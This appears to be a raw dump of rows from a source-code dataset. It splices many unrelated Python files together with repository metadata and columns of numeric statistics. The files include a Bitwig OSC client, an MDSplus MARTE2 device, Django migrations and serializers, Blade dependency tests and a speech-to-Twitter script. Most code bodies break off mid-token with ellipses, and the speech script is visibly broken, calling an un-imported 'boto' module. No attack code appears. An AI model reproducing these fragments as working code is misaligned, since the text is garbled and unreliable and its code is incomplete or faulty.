"MIT"
] | null | null | null | flint/tests/test_commands.py | Aradhya-Tripathi/flint | 34af5f15a29eac32f1f2bc3506ac028c7f542b65 | [
"MIT"
] | null | null | null | import unittest
from flint.tests import execute
class TestCommands(unittest.TestCase):
def __init__(self, methodName: str = ...) -> None:
self.accounts = []
super().__init__(methodName)
def test_flint(self):
execute("flint --help")
def test_user_ops(self):
response = exe... | 29 | 126 | 0.611494 | 99 | 870 | 5.161616 | 0.474747 | 0.041096 | 0.058708 | 0.09002 | 0.344423 | 0.344423 | 0.344423 | 0.199609 | 0.199609 | 0 | 0 | 0.012308 | 0.252874 | 870 | 29 | 127 | 30 | 0.773846 | 0 | 0 | 0.181818 | 0 | 0.045455 | 0.275862 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.136364 | false | 0.090909 | 0.090909 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
43e014bc34ea0ed1d53a3974b0661b64f5d16a67 | 2,254 | py | Python | deepnet/eval_parches.py | jormansa/deepnet | 81d93238effe3a62cf1428ecc15b937f6f9b43a7 | [
"BSD-3-Clause"
] | null | null | null | deepnet/eval_parches.py | jormansa/deepnet | 81d93238effe3a62cf1428ecc15b937f6f9b43a7 | [
"BSD-3-Clause"
] | null | null | null | deepnet/eval_parches.py | jormansa/deepnet | 81d93238effe3a62cf1428ecc15b937f6f9b43a7 | [
"BSD-3-Clause"
] | null | null | null |
import numpy as np
from trainer import *
import scipy.io as sio
# le pasamos el file_pattern de labels, el file_parttern de ids, el numpy de representacion de salida
# ej: python eval_parches.py "/home/jmansanet/pruebas/data/2/test_labels*.npy" "/home/jmansanet/pruebas/data/2/test_id*.npy" test/output_layer-00001-of-... | 33.641791 | 161 | 0.733363 | 378 | 2,254 | 4.171958 | 0.277778 | 0.076094 | 0.030438 | 0.045656 | 0.337349 | 0.337349 | 0.300571 | 0.300571 | 0.238427 | 0.182625 | 0 | 0.020634 | 0.118456 | 2,254 | 66 | 162 | 34.151515 | 0.773025 | 0.377551 | 0 | 0.378378 | 0 | 0 | 0.090383 | 0 | 0 | 0 | 0 | 0 | 0.054054 | 0 | null | null | 0 | 0.081081 | null | null | 0.027027 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43e2b74a1d95aa3fb41aa9b4d0b094ca11951a25 | 16,821 | py | Python | bitwig_osc.py | defcronyke/bitwig-osc | c61a9ffaca2a12e0adcdcb0ff38761f76220bcaa | [
"MIT"
] | 1 | 2019-05-24T15:37:06.000Z | 2019-05-24T15:37:06.000Z | bitwig_osc.py | defcronyke/bitwig-osc | c61a9ffaca2a12e0adcdcb0ff38761f76220bcaa | [
"MIT"
] | null | null | null | bitwig_osc.py | defcronyke/bitwig-osc | c61a9ffaca2a12e0adcdcb0ff38761f76220bcaa | [
"MIT"
] | null | null | null | """ Bitwig OSC Python3 by Jeremy Carter <Jeremy@JeremyCarter.ca> 2018.
Based on the Bitwig 2.4 OSC API by Moss. """
from pythonosc import osc_message_builder
from pythonosc import udp_client
import signal
import sys
class BitwigOSC:
""" A client library for the Moss Bitwig OSC API, to control Bitwig with
... | 33.375 | 94 | 0.584032 | 2,243 | 16,821 | 4.308515 | 0.123049 | 0.027939 | 0.054636 | 0.063638 | 0.587334 | 0.559913 | 0.535286 | 0.499172 | 0.476097 | 0.40387 | 0 | 0.012306 | 0.304322 | 16,821 | 503 | 95 | 33.441352 | 0.813536 | 0.500446 | 0 | 0.255034 | 0 | 0 | 0.08067 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.308725 | false | 0 | 0.026846 | 0 | 0.342282 | 0.006711 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78de66ae128457fceb02f3a6cfa95adee34e54ac | 1,481 | py | Python | implementations/ugene/data/snp_scripts/update_d_db.py | r-barnes/sw_comparison | 1ac2c9cc10a32badd6b8fb1e96516c97f7800176 | [
"BSD-Source-Code"
] | null | null | null | implementations/ugene/data/snp_scripts/update_d_db.py | r-barnes/sw_comparison | 1ac2c9cc10a32badd6b8fb1e96516c97f7800176 | [
"BSD-Source-Code"
] | null | null | null | implementations/ugene/data/snp_scripts/update_d_db.py | r-barnes/sw_comparison | 1ac2c9cc10a32badd6b8fb1e96516c97f7800176 | [
"BSD-Source-Code"
] | null | null | null | import os
#filtered set diseases. Mapped: 4092
#full set diseases. Mapped: 13255
def getDiseasesMap():
#data from http://diseases.jensenlab.org/Search
#f = open ('human_disease_textmining_filtered.tsv', 'r')
f = open ('human_disease_textmining_full.tsv', 'r')
diseasesMap = {}
while(1):
... | 26.446429 | 71 | 0.544902 | 181 | 1,481 | 4.276243 | 0.381215 | 0.046512 | 0.034884 | 0.043928 | 0.149871 | 0.080103 | 0 | 0 | 0 | 0 | 0 | 0.025126 | 0.328157 | 1,481 | 55 | 72 | 26.927273 | 0.752764 | 0.113437 | 0 | 0 | 0 | 0 | 0.102368 | 0.084034 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.02381 | null | null | 0.02381 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78e1fd834552a10dc643f3fc39e1e1a915aa7205 | 141,428 | py | Python | pydevices/RfxDevices/MARTE2_COMPONENT.py | WhoBrokeTheBuild/mdsplus | c1bab5dda6a4d1e944eb66960c8c218aa269b177 | [
"BSD-2-Clause"
] | null | null | null | pydevices/RfxDevices/MARTE2_COMPONENT.py | WhoBrokeTheBuild/mdsplus | c1bab5dda6a4d1e944eb66960c8c218aa269b177 | [
"BSD-2-Clause"
] | null | null | null | pydevices/RfxDevices/MARTE2_COMPONENT.py | WhoBrokeTheBuild/mdsplus | c1bab5dda6a4d1e944eb66960c8c218aa269b177 | [
"BSD-2-Clause"
] | null | null | null | #
# Copyright (c) 2017, Massachusetts Institute of Technology All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# Redistributions of source code must retain the above copyright notice, this
# list o... | 49.816132 | 261 | 0.4734 | 10,652 | 141,428 | 6.235824 | 0.066185 | 0.037215 | 0.013007 | 0.015175 | 0.7363 | 0.697444 | 0.661643 | 0.639016 | 0.612023 | 0.585466 | 0 | 0.007117 | 0.413801 | 141,428 | 2,838 | 262 | 49.833686 | 0.79409 | 0.089933 | 0 | 0.764682 | 0 | 0 | 0.170209 | 0.003947 | 0.002068 | 0 | 0 | 0.000352 | 0 | 1 | 0.012407 | false | 0.009512 | 0.000827 | 0.000414 | 0.04756 | 0.003309 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78e5fa239bd86b7fe7759749a2495e59ec8c52f2 | 350 | py | Python | profiles_api/migrations/0004_auto_20210102_0937.py | satyap54/profiles-rest-api | 2a1825d3f1503d43564666f429a7057b62d5ce8a | [
"MIT"
] | null | null | null | profiles_api/migrations/0004_auto_20210102_0937.py | satyap54/profiles-rest-api | 2a1825d3f1503d43564666f429a7057b62d5ce8a | [
"MIT"
] | null | null | null | profiles_api/migrations/0004_auto_20210102_0937.py | satyap54/profiles-rest-api | 2a1825d3f1503d43564666f429a7057b62d5ce8a | [
"MIT"
] | null | null | null | # Generated by Django 2.2 on 2021-01-02 09:37
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('profiles_api', '0003_profilefeeditems'),
]
operations = [
migrations.RenameModel(
old_name='ProfileFeedItems',
new_name='Profi... | 19.444444 | 50 | 0.62 | 34 | 350 | 6.264706 | 0.794118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071146 | 0.277143 | 350 | 17 | 51 | 20.588235 | 0.770751 | 0.122857 | 0 | 0 | 1 | 0 | 0.209836 | 0.068852 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78e629e2fbeb8928824c2cb3ed4ca78b013c8835 | 2,091 | py | Python | memorybackend/backend/backend/SpeechToStory.py | HefeiTu/codechella2020 | 3e95daa46757b7a8f9b7a482f3e569cf2babc4aa | [
"MIT"
] | null | null | null | memorybackend/backend/backend/SpeechToStory.py | HefeiTu/codechella2020 | 3e95daa46757b7a8f9b7a482f3e569cf2babc4aa | [
"MIT"
] | null | null | null | memorybackend/backend/backend/SpeechToStory.py | HefeiTu/codechella2020 | 3e95daa46757b7a8f9b7a482f3e569cf2babc4aa | [
"MIT"
] | null | null | null | import boto3
import tweepy
import boto3
import json
import SpeechRecognition as sr
import queue
from os import path
from datetime import date
# ============= from s3 to local =============
c = boto.connect_s3()
bucket = c.get_bucket('twitterhackathon') #bucketname: twiterhackathon
bucket_files = bucket.lis... | 38.722222 | 125 | 0.726447 | 276 | 2,091 | 5.380435 | 0.525362 | 0.024242 | 0.046465 | 0.021549 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030624 | 0.141081 | 2,091 | 54 | 126 | 38.722222 | 0.796214 | 0 | 0 | 0.060606 | 0 | 0 | 0.287005 | 0.118138 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.242424 | null | null | 0.151515 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78e6cbe0545e163187b16e3ee2d80fd056f7d4e6 | 537 | py | Python | pce_pinns/utils/utils.py | blutjens/fno-helmholtz | 011a4030c1eced2d85d67357b0261550a5f7838f | [
"MIT"
] | null | null | null | pce_pinns/utils/utils.py | blutjens/fno-helmholtz | 011a4030c1eced2d85d67357b0261550a5f7838f | [
"MIT"
] | null | null | null | pce_pinns/utils/utils.py | blutjens/fno-helmholtz | 011a4030c1eced2d85d67357b0261550a5f7838f | [
"MIT"
] | null | null | null | import numpy as np
def get_fn_at_x(xgrid, fn, at_x):
"""
Returns function at x
Args:
xgrid np.array(n_grid): Grid where function was evaluated
fn np.array((n_samples,n_grid)): Multiple function evaluations at xgrid
at_x float: Value closest to the desired function evaluat... | 29.833333 | 83 | 0.642458 | 85 | 537 | 3.847059 | 0.423529 | 0.073395 | 0.076453 | 0.091743 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.273743 | 537 | 17 | 84 | 31.588235 | 0.838462 | 0.60149 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
78ecd57bf9ce884ed27ba327bd80db9d52a3b2bf | 379 | py | Python | Module 2/Chapter02/metaclass_ex.py | real-slim-chadi/Python_Master-the-Art-of-Design-Patterns | 95ec92272374e330b04d931208abbb184c7c7908 | [
"MIT"
] | 73 | 2016-09-15T23:07:04.000Z | 2022-03-05T15:09:48.000Z | Module 2/Chapter02/metaclass_ex.py | real-slim-chadi/Python_Master-the-Art-of-Design-Patterns | 95ec92272374e330b04d931208abbb184c7c7908 | [
"MIT"
] | null | null | null | Module 2/Chapter02/metaclass_ex.py | real-slim-chadi/Python_Master-the-Art-of-Design-Patterns | 95ec92272374e330b04d931208abbb184c7c7908 | [
"MIT"
] | 51 | 2016-10-07T20:47:51.000Z | 2021-12-22T21:00:24.000Z | __author__ = 'Chetan'
class MyInt(type):
def __call__(cls, *args, **kwds):
print("***** Here's My int *****", args)
print("Now do whatever you want with these objects...")
return type.__call__(cls, *args, **kwds)
class int(metaclass=MyInt):
def __init__(self, x, ... | 22.294118 | 64 | 0.522427 | 50 | 379 | 3.64 | 0.64 | 0.076923 | 0.120879 | 0.164835 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007692 | 0.313984 | 379 | 17 | 65 | 22.294118 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0.211538 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0 | 0 | 0.454545 | 0.181818 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78eceba11c58a81ddfac19e94d1286eaa4940b58 | 505 | py | Python | act/tests/test_io.py | scollis/ACT | e0067254a84573c5baad43d8c87a2ddd4763ea83 | [
"BSD-3-Clause"
] | 1 | 2019-04-11T19:21:59.000Z | 2019-04-11T19:21:59.000Z | act/tests/test_io.py | scollis/ACT | e0067254a84573c5baad43d8c87a2ddd4763ea83 | [
"BSD-3-Clause"
] | null | null | null | act/tests/test_io.py | scollis/ACT | e0067254a84573c5baad43d8c87a2ddd4763ea83 | [
"BSD-3-Clause"
] | null | null | null | import act
import glob
def test_io():
sonde_ds = act.io.armfiles.read_netcdf([act.tests.EXAMPLE_SONDE1])
assert 'temp_mean' in sonde_ds.variables.keys()
assert 'rh_mean' in sonde_ds.variables.keys()
sonde_ds.close()
def test_io_mfdataset():
sonde_ds = act.io.armfiles.read_netcdf(act.tests.EXAMPL... | 28.055556 | 76 | 0.726733 | 79 | 505 | 4.367089 | 0.35443 | 0.182609 | 0.127536 | 0.150725 | 0.684058 | 0.684058 | 0.684058 | 0.666667 | 0.666667 | 0.666667 | 0 | 0.004662 | 0.150495 | 505 | 17 | 77 | 29.705882 | 0.799534 | 0 | 0 | 0.461538 | 0 | 0 | 0.083168 | 0 | 0 | 0 | 0 | 0 | 0.384615 | 1 | 0.153846 | false | 0 | 0.153846 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78ed0065b011b9ea00c92fbfa0de475ec4c74cb1 | 4,134 | py | Python | universe/pages/serializers.py | charlesDavid009/library_app | f0ae16bb4eb3e18e5cb6e7ea88d54dbc11767bb2 | [
"MIT"
] | 3 | 2021-03-12T19:53:09.000Z | 2021-04-08T21:46:21.000Z | universe/pages/serializers.py | charlesDavid009/library_app | f0ae16bb4eb3e18e5cb6e7ea88d54dbc11767bb2 | [
"MIT"
] | null | null | null | universe/pages/serializers.py | charlesDavid009/library_app | f0ae16bb4eb3e18e5cb6e7ea88d54dbc11767bb2 | [
"MIT"
] | 1 | 2021-04-08T21:28:56.000Z | 2021-04-08T21:28:56.000Z | from rest_framework import serializers
from .models import (
Page,
Following,
Liking,
Blogs,
BlogLiked,
Comments,
CommentLiked
)
from django.contrib.auth import get_user_model
from django.conf import settings
User = get_user_model()
ACTIONS = settings.ACTIONS
class PageSerializer(seri... | 27.744966 | 89 | 0.679003 | 428 | 4,134 | 6.378505 | 0.233645 | 0.07619 | 0.079487 | 0.089744 | 0.430037 | 0.233333 | 0.199267 | 0.199267 | 0.18315 | 0.108425 | 0 | 0.002511 | 0.229318 | 4,134 | 148 | 90 | 27.932432 | 0.854363 | 0.010885 | 0 | 0.36036 | 0 | 0 | 0.038659 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117117 | false | 0 | 0.036036 | 0.072072 | 0.558559 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
78f17cf43816ec6dd6c4d6f4cfc053cb0c00e437 | 351 | py | Python | django_rv_apps/apps/believe_his_prophets/migrations/0005_remove_spiritprophecy_language.py | davrv93/creed-en-sus-profetas-backend | 657d767f6ac6b3e736895d65f53c5cb018820ec5 | [
"Apache-2.0"
] | null | null | null | django_rv_apps/apps/believe_his_prophets/migrations/0005_remove_spiritprophecy_language.py | davrv93/creed-en-sus-profetas-backend | 657d767f6ac6b3e736895d65f53c5cb018820ec5 | [
"Apache-2.0"
] | 9 | 2020-06-05T19:09:35.000Z | 2022-03-11T23:31:20.000Z | django_rv_apps/apps/believe_his_prophets/migrations/0005_remove_spiritprophecy_language.py | davrv93/creed-en-sus-profetas-backend | 657d767f6ac6b3e736895d65f53c5cb018820ec5 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.0.9 on 2018-11-05 22:47
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('believe_his_prophets', '0004_auto_20181105_2223'),
]
operations = [
migrations.RemoveField(
model_name='spiritprophecy',
nam... | 19.5 | 60 | 0.618234 | 37 | 351 | 5.702703 | 0.864865 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122047 | 0.276353 | 351 | 17 | 61 | 20.647059 | 0.708661 | 0.128205 | 0 | 0 | 1 | 0 | 0.213816 | 0.075658 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78f45a5dad8d86bcd39de63fce3ea3a34448960b | 3,003 | py | Python | autres/temps.py | ehbc221/apprenez-a-programmer-en-python | 16ed3ba8b914b77a576ef18a34702179acb25338 | [
"MIT"
] | null | null | null | autres/temps.py | ehbc221/apprenez-a-programmer-en-python | 16ed3ba8b914b77a576ef18a34702179acb25338 | [
"MIT"
] | null | null | null | autres/temps.py | ehbc221/apprenez-a-programmer-en-python | 16ed3ba8b914b77a576ef18a34702179acb25338 | [
"MIT"
] | null | null | null | # -*-coding:Utf-8 -*
##################
# Le module time #
##################
import time
debut = time.time()
# On attend quelques secondes avant de taper la commande suivante
fin = time.time()
print(debut, fin) # 1297642195.45 1297642202.27
debut < fin # True
fin - debut # Combien de secondes entre debut et fin ?
6.... | 33 | 134 | 0.654679 | 467 | 3,003 | 4.119914 | 0.321199 | 0.007796 | 0.029106 | 0.033264 | 0.248441 | 0.195426 | 0.170478 | 0.170478 | 0.170478 | 0.158524 | 0 | 0.081633 | 0.135198 | 3,003 | 90 | 135 | 33.366667 | 0.659222 | 0.368964 | 0 | 0.12766 | 0 | 0 | 0.001325 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.12766 | null | null | 0.106383 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78f6d614542b9be766f35b4799736817ba3d93b3 | 3,013 | py | Python | src/test/target_dependency_test.py | kerr-huang/blade | a98f35a8bbed13a14213c7c696485b742a13e7aa | [
"BSD-3-Clause"
] | 2 | 2016-02-22T15:12:31.000Z | 2021-06-14T21:19:50.000Z | src/test/target_dependency_test.py | kerr-huang/blade | a98f35a8bbed13a14213c7c696485b742a13e7aa | [
"BSD-3-Clause"
] | null | null | null | src/test/target_dependency_test.py | kerr-huang/blade | a98f35a8bbed13a14213c7c696485b742a13e7aa | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2011 Tencent Inc.
# All rights reserved.
#
# Author: Michaelpeng <michaelpeng@tencent.com>
# Date: October 20, 2011
"""
This is the Target dependency analyzing test module
which tests the dependency analyzing module of blade.
"""
import os
import blade_test
class TestDepsAnalyzing(blade_test.... | 36.301205 | 75 | 0.69532 | 389 | 3,013 | 5.015424 | 0.231362 | 0.08611 | 0.156843 | 0.058944 | 0.371604 | 0.255766 | 0.171707 | 0.077909 | 0 | 0 | 0 | 0.004207 | 0.211085 | 3,013 | 82 | 76 | 36.743902 | 0.816576 | 0.114504 | 0 | 0 | 0 | 0 | 0.087405 | 0 | 0 | 0 | 0 | 0 | 0.408163 | 1 | 0.040816 | false | 0 | 0.040816 | 0 | 0.102041 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78fa0af9c090c25239bc6f087842040c22766c19 | 392 | py | Python | bdn/course/migrations/0004_auto_20181008_1057.py | OpenSourceUniversity/bdn | 8e8d5b4d63ff4cb9bdf7c5f23d07aa3ad3dd0121 | [
"MIT"
] | 1 | 2019-01-18T19:57:25.000Z | 2019-01-18T19:57:25.000Z | bdn/course/migrations/0004_auto_20181008_1057.py | OpenSourceUniversity/bdn | 8e8d5b4d63ff4cb9bdf7c5f23d07aa3ad3dd0121 | [
"MIT"
] | 3 | 2019-06-23T17:26:24.000Z | 2022-02-11T03:40:54.000Z | bdn/course/migrations/0004_auto_20181008_1057.py | OpenSourceUniversity/bdn | 8e8d5b4d63ff4cb9bdf7c5f23d07aa3ad3dd0121 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.2 on 2018-10-08 10:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('course', '0003_auto_20181005_1322'),
]
operations = [
migrations.AlterField(
model_name='course',
name='description'... | 20.631579 | 52 | 0.604592 | 42 | 392 | 5.52381 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.124555 | 0.283163 | 392 | 18 | 53 | 21.777778 | 0.701068 | 0.114796 | 0 | 0 | 1 | 0 | 0.133333 | 0.066667 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78fb58a616f128c4fe0841aec324b551b6cf3a98 | 544 | py | Python | toolchain/setup.py | henryleberre/MFC-develop | 59e94af2d4304b41c9b52280dfd99a300e2664ec | [
"MIT"
] | null | null | null | toolchain/setup.py | henryleberre/MFC-develop | 59e94af2d4304b41c9b52280dfd99a300e2664ec | [
"MIT"
] | null | null | null | toolchain/setup.py | henryleberre/MFC-develop | 59e94af2d4304b41c9b52280dfd99a300e2664ec | [
"MIT"
] | 1 | 2022-01-09T17:05:29.000Z | 2022-01-09T17:05:29.000Z | import setuptools
setuptools.setup(
name='mfc',
version='0.1',
license='MIT',
zip_safe=False,
package_dir={'': '.'},
packages=setuptools.find_packages(),
fullname='MFC Toolchain',
author_email='hberre3@gatech.edu',
url='https://github.com/MFlowCode/MFC',
install_requires=[
... | 28.631579 | 132 | 0.643382 | 59 | 544 | 5.847458 | 0.864407 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006912 | 0.202206 | 544 | 18 | 133 | 30.222222 | 0.788018 | 0 | 0 | 0 | 0 | 0.058824 | 0.413603 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.058824 | 0 | 0.058824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
60029426f3dfcecd27f90131feb24ef398402c96 | 954 | py | Python | darts/base_gui/OptionSelector.py | GabrielAmare/Darts | 182748d821b8c1838071f3b28724d0d9b095dcf9 | [
"MIT"
] | null | null | null | darts/base_gui/OptionSelector.py | GabrielAmare/Darts | 182748d821b8c1838071f3b28724d0d9b095dcf9 | [
"MIT"
] | null | null | null | darts/base_gui/OptionSelector.py | GabrielAmare/Darts | 182748d821b8c1838071f3b28724d0d9b095dcf9 | [
"MIT"
] | null | null | null | from tkinter import *
from tools37.events import Emitter
from darts.app_data import app_data
from darts.OrderedHash import OrderedHash
from .Button import Button
class OptionSelector(Emitter):
def __init__(self):
Emitter.__init__(self)
self._key: str = ''
self._buttons: OrderedHash[str, ... | 25.783784 | 63 | 0.616352 | 120 | 954 | 4.716667 | 0.308333 | 0.086572 | 0.070671 | 0.04947 | 0.09894 | 0.09894 | 0 | 0 | 0 | 0 | 0 | 0.002882 | 0.272537 | 954 | 36 | 64 | 26.5 | 0.81268 | 0 | 0 | 0 | 0 | 0 | 0.01153 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.185185 | 0.037037 | 0.481481 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6004dd9b600eb7b2fa764e3f682738633bafda54 | 522 | py | Python | clld/tests/test_lib_rdf.py | Woseseltops/clld | 5ba065f35b7e6f68b8638d86550e6f0f597ff02d | [
"MIT"
] | 1 | 2019-08-12T15:43:56.000Z | 2019-08-12T15:43:56.000Z | clld/tests/test_lib_rdf.py | Woseseltops/clld | 5ba065f35b7e6f68b8638d86550e6f0f597ff02d | [
"MIT"
] | null | null | null | clld/tests/test_lib_rdf.py | Woseseltops/clld | 5ba065f35b7e6f68b8638d86550e6f0f597ff02d | [
"MIT"
] | null | null | null | import unittest
class Tests(unittest.TestCase):
def test_properties_as_xml_snippet(self):
from clld.lib.rdf import properties_as_xml_snippet
properties_as_xml_snippet(
'subject', [('foaf:name', 'a name'), ('foaf:homepage', 'http://example.org')])
def test_convert(self):
f... | 29 | 90 | 0.637931 | 65 | 522 | 4.876923 | 0.507692 | 0.113565 | 0.141956 | 0.208202 | 0.15142 | 0.15142 | 0 | 0 | 0 | 0 | 0 | 0 | 0.252874 | 522 | 17 | 91 | 30.705882 | 0.812821 | 0 | 0 | 0 | 0 | 0 | 0.101533 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6006fdcec3431469e2920cfa67b8563a6e92a88f | 1,357 | py | Python | tests/test_classes_json.py | AtomHash/evernode | f70d82e78cf9f6d58208438e26485e9565abd875 | [
"MIT"
] | 1 | 2017-09-23T16:44:10.000Z | 2017-09-23T16:44:10.000Z | tests/test_classes_json.py | AtomHash/evernode | f70d82e78cf9f6d58208438e26485e9565abd875 | [
"MIT"
] | 9 | 2017-09-25T14:44:17.000Z | 2020-09-16T01:47:43.000Z | tests/test_classes_json.py | AtomHash/evernode | f70d82e78cf9f6d58208438e26485e9565abd875 | [
